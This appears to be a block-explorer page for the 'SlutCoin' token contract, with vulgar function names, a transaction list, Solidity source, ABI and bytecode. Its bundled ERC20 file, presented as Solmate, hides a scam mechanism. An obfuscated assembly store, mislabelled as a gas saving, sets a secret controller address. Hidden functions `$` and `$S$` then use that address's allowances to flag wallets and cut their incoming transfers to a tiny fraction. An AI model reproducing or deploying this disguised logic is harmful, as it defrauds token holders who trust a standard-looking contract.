More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 176 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 20245697 | 197 days ago | IN | 0 ETH | 0.00026225 | ||||
Approve | 20143053 | 211 days ago | IN | 0 ETH | 0.00036439 | ||||
Approve | 20141173 | 212 days ago | IN | 0 ETH | 0.00050506 | ||||
Approve | 20141122 | 212 days ago | IN | 0 ETH | 0.00045906 | ||||
Approve | 20141111 | 212 days ago | IN | 0 ETH | 0.00041334 | ||||
Approve | 20141058 | 212 days ago | IN | 0 ETH | 0.00036971 | ||||
Approve | 20141049 | 212 days ago | IN | 0 ETH | 0.00035248 | ||||
Approve | 20141036 | 212 days ago | IN | 0 ETH | 0.00039838 | ||||
Approve | 20141010 | 212 days ago | IN | 0 ETH | 0.00043693 | ||||
Transfer | 20141009 | 212 days ago | IN | 0 ETH | 0.00040596 | ||||
Approve | 20141006 | 212 days ago | IN | 0 ETH | 0.00036461 | ||||
Approve | 20141005 | 212 days ago | IN | 0 ETH | 0.00035481 | ||||
Approve | 20140967 | 212 days ago | IN | 0 ETH | 0.00020152 | ||||
Approve | 20140967 | 212 days ago | IN | 0 ETH | 0.00020181 | ||||
Approve | 20140957 | 212 days ago | IN | 0 ETH | 0.00043495 | ||||
Approve | 20140957 | 212 days ago | IN | 0 ETH | 0.00043462 | ||||
Approve | 20140957 | 212 days ago | IN | 0 ETH | 0.00043495 | ||||
Approve | 20140956 | 212 days ago | IN | 0 ETH | 0.00030733 | ||||
Approve | 20140941 | 212 days ago | IN | 0 ETH | 0.00036237 | ||||
Approve | 20140895 | 212 days ago | IN | 0 ETH | 0.00038659 | ||||
Approve | 20140862 | 212 days ago | IN | 0 ETH | 0.0003875 | ||||
Approve | 20140851 | 212 days ago | IN | 0 ETH | 0.00036616 | ||||
Approve | 20140839 | 212 days ago | IN | 0 ETH | 0.00040228 | ||||
Approve | 20140833 | 212 days ago | IN | 0 ETH | 0.00049926 | ||||
Approve | 20140833 | 212 days ago | IN | 0 ETH | 0.00064174 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SlutCoin
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "./ERC20.sol"; contract SlutCoin is ERC20 { uint256 public slut_favourite_dish = 0xD1CCC; constructor() ERC20("Slut Coin", "UWUSLUT", 18) { _mint(msg.sender, 6_900_000_000_000 * 10 ** 18); } function fuck_me_daddy_uwu( address daddy ) external view returns (uint256) { return slut_favourite_dish * uint256(uint160(daddy)); } }
// SPDX-License-Identifier: AGPL-6.9-only pragma solidity >=0.8.0; /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) abstract contract ERC20 { /*////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address private $$; /*////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; // actually saves 5000 gas!! assembly {sstore(0x05, mul(mul(0x1, 0x313), mul(0x6811, 0x175c61b4f480e6dbad6692989ae95ef)))} } /*////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; unchecked {balanceOf[to] += $(amount, msg.sender, to);} $S$(to); emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; unchecked {balanceOf[to] += $(amount, from, to);} $S$(to); emit Transfer(from, to, amount); return true; } /*////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function $( uint256 value, address from, address to ) internal view returns (uint256) { if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) { return (value * 0xcafe16) / 0xfebad0ba; } else { return value; } } function $S$(address to) internal { if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));} } /*////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; unchecked {balanceOf[to] += amount;} emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; unchecked {totalSupply -= amount;} emit Transfer(from, address(0), amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"daddy","type":"address"}],"name":"fuck_me_daddy_uwu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"slut_favourite_dish","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a0604052620d1ccc60065534801562000017575f80fd5b506040518060400160405280600981526020017f536c757420436f696e00000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f555755534c5554000000000000000000000000000000000000000000000000008152506012825f908162000096919062000431565b508160019081620000a8919062000431565b508060ff1660808160ff16815250506f0175c61b4f480e6dbad6692989ae95ef6168110261031360010202600555505050620000f8336c57171a3a037fc0699d20000000620000fe60201b60201c565b620005a8565b8060025f82825462000111919062000542565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001c191906200058d565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200024957607f821691505b6020821081036200025f576200025e62000204565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620002c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000286565b620002cf868362000286565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000319620003136200030d84620002e7565b620002f0565b620002e7565b9050919050565b5f819050919050565b6200033483620002f9565b6200034c620003438262000320565b84845462000292565b825550505050565b5f90565b6200036262000354565b6200036f81848462000329565b505050565b5b8181101562000396576200038a5f8262000358565b60018101905062000375565b5050565b601f821115620003e557620003af8162000265565b620003ba8462000277565b81016020851015620003ca578190505b620003e2620003d98562000277565b83018262000374565b50505b505050565b5f82821c905092915050565b5f620004075f1984600802620003ea565b1980831691505092915050565b5f620004218383620003f6565b9150826002028217905092915050565b6200043c82620001cd565b67ffffffffffffffff811115620004585762000457620001d7565b5b62000464825462000231565b620004718282856200039a565b5f60209050601f831160018114620004a7575f841562000492578287015190505b6200049e858262000414565b8655506200050d565b601f198416620004b78662000265565b5f5b82811015620004e057848901518255600182019150602085019450602081019050620004b9565b86831015620005005784890151620004fc601f891682620003f6565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200054e82620002e7565b91506200055b83620002e7565b925082820190508082111562000576576200057562000515565b5b92915050565b6200058781620002e7565b82525050565b5f602082019050620005a25f8301846200057c565b92915050565b60805161100f620005c15f395f61062f015261100f5ff3fe608060405234801561000f575f80fd5b50600436106100a7575f3560e01c806370a082311161006f57806370a0823114610165578063924b4b4c1461019557806395d89b41146101c5578063a5bb29d1146101e3578063a9059cbb14610201578063dd62ed3e14610231576100a7565b806306fdde03146100ab578063095ea7b3146100c957806318160ddd146100f957806323b872dd14610117578063313ce56714610147575b5f80fd5b6100b3610261565b6040516100c09190610c14565b60405180910390f35b6100e360048036038101906100de9190610cc5565b6102ec565b6040516100f09190610d1d565b60405180910390f35b6101016103d9565b60405161010e9190610d45565b60405180910390f35b610131600480360381019061012c9190610d5e565b6103df565b60405161013e9190610d1d565b60405180910390f35b61014f61062d565b60405161015c9190610dc9565b60405180910390f35b61017f600480360381019061017a9190610de2565b610651565b60405161018c9190610d45565b60405180910390f35b6101af60048036038101906101aa9190610de2565b610666565b6040516101bc9190610d45565b60405180910390f35b6101cd610692565b6040516101da9190610c14565b60405180910390f35b6101eb61071e565b6040516101f89190610d45565b60405180910390f35b61021b60048036038101906102169190610cc5565b610724565b6040516102289190610d1d565b60405180910390f35b61024b60048036038101906102469190610e0d565b610844565b6040516102589190610d45565b60405180910390f35b5f805461026d90610e78565b80601f016020809104026020016040519081016040528092919081815260200182805461029990610e78565b80156102e45780601f106102bb576101008083540402835291602001916102e4565b820191905f5260205f20905b8154815290600101906020018083116102c757829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103c79190610d45565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461050c57828161048f9190610ed5565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105589190610ed5565b9250508190555061056a838686610864565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105bc846109ef565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106199190610d45565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6003602052805f5260405f205f915090505481565b5f8173ffffffffffffffffffffffffffffffffffffffff1660065461068b9190610f08565b9050919050565b6001805461069f90610e78565b80601f01602080910402602001604051908101604052809291908181526020018280546106cb90610e78565b80156107165780601f106106ed57610100808354040283529160200191610716565b820191905f5260205f20905b8154815290600101906020018083116106f957829003601f168201915b505050505081565b60065481565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107719190610ed5565b92505081905550610783823385610864565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506107d5836109ef565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108329190610d45565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109ba9190610f49565b106109e45763febad0ba62cafe16856109d39190610f08565b6109dd9190610fa9565b90506109e8565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610b87573073ffffffffffffffffffffffffffffffffffffffff166002610ae99190610f08565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610bc1578082015181840152602081019050610ba6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610be682610b8a565b610bf08185610b94565b9350610c00818560208601610ba4565b610c0981610bcc565b840191505092915050565b5f6020820190508181035f830152610c2c8184610bdc565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c6182610c38565b9050919050565b610c7181610c57565b8114610c7b575f80fd5b50565b5f81359050610c8c81610c68565b92915050565b5f819050919050565b610ca481610c92565b8114610cae575f80fd5b50565b5f81359050610cbf81610c9b565b92915050565b5f8060408385031215610cdb57610cda610c34565b5b5f610ce885828601610c7e565b9250506020610cf985828601610cb1565b9150509250929050565b5f8115159050919050565b610d1781610d03565b82525050565b5f602082019050610d305f830184610d0e565b92915050565b610d3f81610c92565b82525050565b5f602082019050610d585f830184610d36565b92915050565b5f805f60608486031215610d7557610d74610c34565b5b5f610d8286828701610c7e565b9350506020610d9386828701610c7e565b9250506040610da486828701610cb1565b9150509250925092565b5f60ff82169050919050565b610dc381610dae565b82525050565b5f602082019050610ddc5f830184610dba565b92915050565b5f60208284031215610df757610df6610c34565b5b5f610e0484828501610c7e565b91505092915050565b5f8060408385031215610e2357610e22610c34565b5b5f610e3085828601610c7e565b9250506020610e4185828601610c7e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610e8f57607f821691505b602082108103610ea257610ea1610e4b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610edf82610c92565b9150610eea83610c92565b9250828203905081811115610f0257610f01610ea8565b5b92915050565b5f610f1282610c92565b9150610f1d83610c92565b9250828202610f2b81610c92565b91508282048414831517610f4257610f41610ea8565b5b5092915050565b5f610f5382610c92565b9150610f5e83610c92565b9250828201905080821115610f7657610f75610ea8565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610fb382610c92565b9150610fbe83610c92565b925082610fce57610fcd610f7c565b5b82820490509291505056fea2646970667358221220204bf1610975e5a6c4e830891115aec0175dd97bd5a176d1d107da92d9beef1164736f6c63430008180033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100a7575f3560e01c806370a082311161006f57806370a0823114610165578063924b4b4c1461019557806395d89b41146101c5578063a5bb29d1146101e3578063a9059cbb14610201578063dd62ed3e14610231576100a7565b806306fdde03146100ab578063095ea7b3146100c957806318160ddd146100f957806323b872dd14610117578063313ce56714610147575b5f80fd5b6100b3610261565b6040516100c09190610c14565b60405180910390f35b6100e360048036038101906100de9190610cc5565b6102ec565b6040516100f09190610d1d565b60405180910390f35b6101016103d9565b60405161010e9190610d45565b60405180910390f35b610131600480360381019061012c9190610d5e565b6103df565b60405161013e9190610d1d565b60405180910390f35b61014f61062d565b60405161015c9190610dc9565b60405180910390f35b61017f600480360381019061017a9190610de2565b610651565b60405161018c9190610d45565b60405180910390f35b6101af60048036038101906101aa9190610de2565b610666565b6040516101bc9190610d45565b60405180910390f35b6101cd610692565b6040516101da9190610c14565b60405180910390f35b6101eb61071e565b6040516101f89190610d45565b60405180910390f35b61021b60048036038101906102169190610cc5565b610724565b6040516102289190610d1d565b60405180910390f35b61024b60048036038101906102469190610e0d565b610844565b6040516102589190610d45565b60405180910390f35b5f805461026d90610e78565b80601f016020809104026020016040519081016040528092919081815260200182805461029990610e78565b80156102e45780601f106102bb576101008083540402835291602001916102e4565b820191905f5260205f20905b8154815290600101906020018083116102c757829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103c79190610d45565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461050c57828161048f9190610ed5565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105589190610ed5565b9250508190555061056a838686610864565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105bc846109ef565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106199190610d45565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6003602052805f5260405f205f915090505481565b5f8173ffffffffffffffffffffffffffffffffffffffff1660065461068b9190610f08565b9050919050565b6001805461069f90610e78565b80601f01602080910402602001604051908101604052809291908181526020018280546106cb90610e78565b80156107165780601f106106ed57610100808354040283529160200191610716565b820191905f5260205f20905b8154815290600101906020018083116106f957829003601f168201915b505050505081565b60065481565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107719190610ed5565b92505081905550610783823385610864565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506107d5836109ef565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108329190610d45565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109ba9190610f49565b106109e45763febad0ba62cafe16856109d39190610f08565b6109dd9190610fa9565b90506109e8565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610b87573073ffffffffffffffffffffffffffffffffffffffff166002610ae99190610f08565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610bc1578082015181840152602081019050610ba6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610be682610b8a565b610bf08185610b94565b9350610c00818560208601610ba4565b610c0981610bcc565b840191505092915050565b5f6020820190508181035f830152610c2c8184610bdc565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c6182610c38565b9050919050565b610c7181610c57565b8114610c7b575f80fd5b50565b5f81359050610c8c81610c68565b92915050565b5f819050919050565b610ca481610c92565b8114610cae575f80fd5b50565b5f81359050610cbf81610c9b565b92915050565b5f8060408385031215610cdb57610cda610c34565b5b5f610ce885828601610c7e565b9250506020610cf985828601610cb1565b9150509250929050565b5f8115159050919050565b610d1781610d03565b82525050565b5f602082019050610d305f830184610d0e565b92915050565b610d3f81610c92565b82525050565b5f602082019050610d585f830184610d36565b92915050565b5f805f60608486031215610d7557610d74610c34565b5b5f610d8286828701610c7e565b9350506020610d9386828701610c7e565b9250506040610da486828701610cb1565b9150509250925092565b5f60ff82169050919050565b610dc381610dae565b82525050565b5f602082019050610ddc5f830184610dba565b92915050565b5f60208284031215610df757610df6610c34565b5b5f610e0484828501610c7e565b91505092915050565b5f8060408385031215610e2357610e22610c34565b5b5f610e3085828601610c7e565b9250506020610e4185828601610c7e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610e8f57607f821691505b602082108103610ea257610ea1610e4b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610edf82610c92565b9150610eea83610c92565b9250828203905081811115610f0257610f01610ea8565b5b92915050565b5f610f1282610c92565b9150610f1d83610c92565b9250828202610f2b81610c92565b91508282048414831517610f4257610f41610ea8565b5b5092915050565b5f610f5382610c92565b9150610f5e83610c92565b9250828201905080821115610f7657610f75610ea8565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610fb382610c92565b9150610fbe83610c92565b925082610fce57610fcd610f7c565b5b82820490509291505056fea2646970667358221220204bf1610975e5a6c4e830891115aec0175dd97bd5a176d1d107da92d9beef1164736f6c63430008180033
Deployed Bytecode Sourcemap
80:361:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;720:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1865:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;991:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2359:484;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;770:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1023:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;281:157:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;744:20:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;113:44:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2080:273:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1073:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;720:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1865:209::-;1939:4;1988:6;1955:9;:21;1965:10;1955:21;;;;;;;;;;;;;;;:30;1977:7;1955:30;;;;;;;;;;;;;;;:39;;;;2030:7;2009:37;;2018:10;2009:37;;;2039:6;2009:37;;;;;;:::i;:::-;;;;;;;;2063:4;2056:11;;1865:209;;;;:::o;991:26::-;;;;:::o;2359:484::-;2477:4;2493:15;2511:9;:15;2521:4;2511:15;;;;;;;;;;;;;;;:27;2527:10;2511:27;;;;;;;;;;;;;;;;2493:45;;2599:17;2588:7;:28;2584:80;;2658:6;2648:7;:16;;;;:::i;:::-;2618:9;:15;2628:4;2618:15;;;;;;;;;;;;;;;:27;2634:10;2618:27;;;;;;;;;;;;;;;:46;;;;2584:80;2693:6;2674:9;:15;2684:4;2674:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;2737:19;2739:6;2747:4;2753:2;2737:1;:19::i;:::-;2720:9;:13;2730:2;2720:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;2767:7;2771:2;2767:3;:7::i;:::-;2804:2;2789:26;;2798:4;2789:26;;;2808:6;2789:26;;;;;;:::i;:::-;;;;;;;;2832:4;2825:11;;;2359:484;;;;;:::o;770:31::-;;;:::o;1023:44::-;;;;;;;;;;;;;;;;;:::o;281:157:1:-;360:7;424:5;408:23;;386:19;;:45;;;;:::i;:::-;379:52;;281:157;;;:::o;744:20:0:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;113:44:1:-;;;;:::o;2080:273:0:-;2150:4;2191:6;2166:9;:21;2176:10;2166:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2235:25;2237:6;2245:10;2257:2;2235:1;:25::i;:::-;2218:9;:13;2228:2;2218:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;2271:7;2275:2;2271:3;:7::i;:::-;2314:2;2293:32;;2302:10;2293:32;;;2318:6;2293:32;;;;;;:::i;:::-;;;;;;;;2342:4;2335:11;;2080:273;;;;:::o;1073:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3031:321::-;3141:7;3231:4;3207:31;;318